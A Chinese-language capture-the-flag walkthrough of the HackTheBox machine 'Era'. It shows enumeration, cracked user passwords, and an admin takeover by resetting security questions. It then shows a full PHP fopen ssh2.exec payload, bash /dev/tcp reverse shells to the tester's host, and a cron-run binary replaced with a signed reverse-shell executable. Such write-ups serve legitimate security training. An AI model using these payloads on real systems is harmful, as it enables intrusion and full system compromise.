一、靶场详情
靶场名称:Era
靶场地址:
https://app.hackthebox.com/machines/Era
靶场环境连接说明:
演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用,还需要注意连接 HackTheBox 平台 VPN 需要挂载代理。

二、思路总结
突破边界(获取用户旗帜):
file 子域目录枚举 --> register.php 注册页面,注册登录后台 --> 上传文件,下载文件,枚举下载 ID,得到网站源码 --> 网站源码数据库文件,得到管理员用户名和 yuri、eric 用户密码 --> 普通用户后台重置管理员登录安全问题,登录管理员后台 --> 代码审计,download.php 管理员测试接口 fopen 函数可使用 ssh2 伪协议实现任意命令执行 --> 获取 yuri、eric 用户权限
Important
代码审计、php fopen 函数执行 ssh2 伪协议
权限提升(获取管理员旗帜):
eric 用户 shell(属于 devs 组) --> 发现/opt/AV/periodic-checks/monitor 程序权限问题,pspy 发现定时任务 --> 替换 monitor 程序,查看日志文件 --> objcopy 提取 monitor 程序特征码,编译 c 语言反弹 shell,objcopy 导入提取的特征码 --> 上传反弹 shell --> root 用户权限
Important
objcopy 提取导入可执行程序特征码
三、靶场攻击演示
3.1 靶场信息收集
使用 nmap 对靶机进行端口扫描。
TCP 端口扫描:
sudo nmap -p- 10.129.239.35 --min-rate=2000
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
UDP 端口扫描:未发现可利用的端口。
sudo nmap -p- -sU 10.129.239.35 --min-rate=2000 --open
All 65535 scanned ports on 10.129.237.233 are in ignored states.
继续使用 nmap 对已开放端口的服务进行信息收集。
TCP 服务信息搜集:
sudo nmap -p21,80 -sCV 10.129.239.35
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
由此得出结论:
系统为 Linux 环境,开放有 HTTP、FTP 服务,接下来进行逐个端口排查。
3.2 渗透测试突破边界(获取用户旗帜)
3.2.1 子域名枚举
根据 nmap 扫描结果,需在 kali 配置靶机域名解析。
echo "10.129.239.35\tera.htb" | sudo tee -a /etc/hosts
访问:http://tera.htb,页面未发现有价值信息,也不存在交互功能模块。

使用 ffuf 枚举网站子域名,发现 file 子域系统。
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://era.htb" -H "host: FUZZ.era.htb" -fs 154

将 file 子域名添加至靶机 hosts 文件。
echo "10.129.239.35\tfile.era.htb" | sudo tee -a /etc/hosts
访问子域名系统,发现系统存在多个交互模块,登录模块可使用账号密码和用户安全问题登录,查看和上传文件模块仅允许登录后访问。

3.2.2 目录遍历、后台下载接口文件枚举
测试过程未发现可利用漏洞,紧接着使用 feroxbuster 进行目录枚举,发现系统存在 register.php 注册页面。
feroxbuster -u http://file.era.htb/ --limit-bars 4 --no-state --filter-status 404 -x php,html

在注册页面注册任意用户登录后台。


测试后台上传功能时,成功上传后系统会显示下载链接,访问下载链接可下载对应文件,当更改 id 再次访问时,系统提示不存在该文件。



通过更换不同id值,尝试枚举历史上传文件。首先使用 python 输出一段 1-10000 数字列表,将其保存输出保存至文本中。
for i in range(0,10000):
print(i)
python3 py.py > id
使用 ffuf 枚举历史文件,注意:需要添加 cookie,可得到两个下载链接。
ffuf -w id -u "http://file.era.htb/download.php?id=FUZZ&d=true" -H "Cookie: PHPSESSID=4kupfnveen5a6077h2kmo5oau1" -fs 7686 -v

访问下载链接将文件下载至本地。
http://file.era.htb/download.php?id=54&d=true
http://file.era.htb/download.php?id=150&d=true

3.2.3 网站源码数据库文件泄漏用户名、密码,hashcat 破解
解压下载的 zip 文件,其中 site-backup-30-08-24.zip 为网站源码,signing.zip 为证书私钥文件,并在源码目录发现了 sqlite 数据库文件。

使用 sqlite3 连接数据库,发现了 user 和 files 表,其中 user 表存储了用户名和加密的密码,files 表存储了上传的文件。
sqlite3 filedb.sqlite
select * from users;
select * from files;

将用户名和密码保存至文本中,使用 hashcat 破解,成功破解了 eric 和 yuri 用户密码,其余未能破解。
admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
hashcat hashs ~/Desktop/rockyou.txt -m 3200 --username

eric:america
yuri:mustang
使用破解的密码登录 web 系统,功能模块和注册的普通用户基本一致,利用该密码登录系统 ftp 服务也没有有价值发现,接下来继续分析网站源码文件。
3.2.4 重置管理员安全问题,代码审计,利用 download.php fopen 模块+SSH2 伪协议进行任意命令执行
在 download.php 文件发现利用管理员权限可使用 php fopen 函数读取文件。

查阅 php 官方文档,发现 fopen 函数支持多个伪协议。
https://www.php.net/manual/zh/function.fopen.php
https://www.php.net/manual/zh/wrappers.php
https://www.php.net/manual/en/wrappers.ssh2.php



我们上面已经得到了两个用户密码,如果可以得到 web 管理员权限,可尝试利用 download.php 文件使用 php ssh2 伪协议执行系统命令。
web 后台除了使用用户名密码登录还可通过安全问题登录,而注册登录的用户后台可修改任意用户安全问题,在 sqlite 数据库得知管理员用户为 admin_ef01cab31aa,可使用注册的用户修改管理员安全问题。

使用修改后的管理员安全问题成功登录后台。


分析 download.php 源码参数,需要满足以下要求:
1、id 参数需在数据库可查询到:
if (!isset($_GET['id'])) {
header('location: index.php'); // user loaded without requesting file by id
die();
}
if (!is_numeric($_GET['id'])) {
header('location: index.php'); // user requested non-numeric (invalid) file id
die();
}
$reqFile = $_GET['id'];
$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);
$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it
if (!$realFile) {
echodeliverTop("Era - Download");
echodeliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");
echodeliverBottom();
2、dl 参数值为 true:
if ($_GET['dl'] === "true")
3、show 参数值为 true 且$_SESSION[‘erauser’]值为 1:
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1)
# 根据备注这里判断需要管理员权限
4、format 参数包含://,提示伪协议:
if (strpos($format, '://') !== false)
以上条件均满足后,会对 format 值和 id 查询到文件名进行拼接,然后使用 fopen 打开,可构建如下 payload 进行命令执行,注意使用管理员 session。
GET /download.php?id=150&show=true&format=ssh2.exec://eric:america@127.0.0.1:22/bash+- i+>%26+/dev/tcp/10.10.16.186/1234+0>%261; HTTP/1.1
Host: file.era.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://file.era.htb/download.php?id=9266
Accept-Encoding: gzip, deflate, br
Accept-Language: zh,zh-CN;q=0.9
Cookie: PHPSESSID=4kupfnveen5a6077h2kmo5oau1
Connection: keep-alive
在 kali 使用 nc 监听 1234 端口,发送以上 payload 成功获取到 eric 用户 shell,这里也可以尝试另外一个用户,也可以成功获取反弹 shell。
# kali
nc -lvnp 1234


为了方便操作,将 shell 提升为交互式 shell。
bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Control + Z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 33 columns 157

3.3 提权获取系统最高权限(获取管理员旗帜)
3.3.1 Monitor 程序替换提权至 root 权限
检索系统 sudo、suid 等权限未发现可提权信息,继续排查文件目录时,在/opt/AV/periodic-checks 目录发现可疑文件。可得到如下分析结果:
• 当前用户为:eric,属于 devs 组
• devs 组对/opt/AV/periodic-checks 目录具有读写权限
• /opt/AV/periodic-checks 目录的 monitor 可执行程序属于 root 用户和 devs 组,该文件的所属用户和组均对它具有读写权限。

上传 pspy 分析系统进程,发现系统定时执行/opt/AV/periodic-checks/monitor 程序,由于当前用户对该程序具有读写权限,可尝试替换该程序实现反弹 shell。

尝试直接修改 monitor 程序为反弹 shell 指令,日志中 objcopy 提示格式不满足,可能存在校验,需匹配文件特征码。
echo '/bin/bash -i >& /dev/tcp/10.10.16.186/1234 0>&1' > /opt/AV/periodic-checks/monitor

将 monitor 下载至本地,使用 objcopy 提取特征码,然后在 revshells 网站复制 C 语言的反弹 shell,使用 gcc 编译,最后利用 objcopy 写入提取的特征码。
# 文件可通过nc工具下载
# 提取特征码
objcopy --dump-section .text_sig=sig monitor.back

# 在线shell生成网站
https://www.revshells.com/

编译反弹 shell 并写入特征码。
gcc shell.c -o shell
objcopy --add-section .text_sig=sig shell

kali 使用 nc 监听 1234 端口,上传 shell 文件至靶机,注意保存为 monitor。
# kali
nc -lvnp 1234
goshs -p 80
# shell
wget http://10.10.16.186/shell -O monitor

成功得到 root 用户 shell。

3.3.2 管理员旗帜获取

文章来源 公众号F0ne
题外话
黑客&网络安全如何学习
如果你也对网路安全技术感兴趣,但是又没有合适的学习资源,我可以把私藏的网安学习资料免费共享给你们,来看看有哪些东西。
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。


1424

被折叠的 条评论
为什么被折叠?



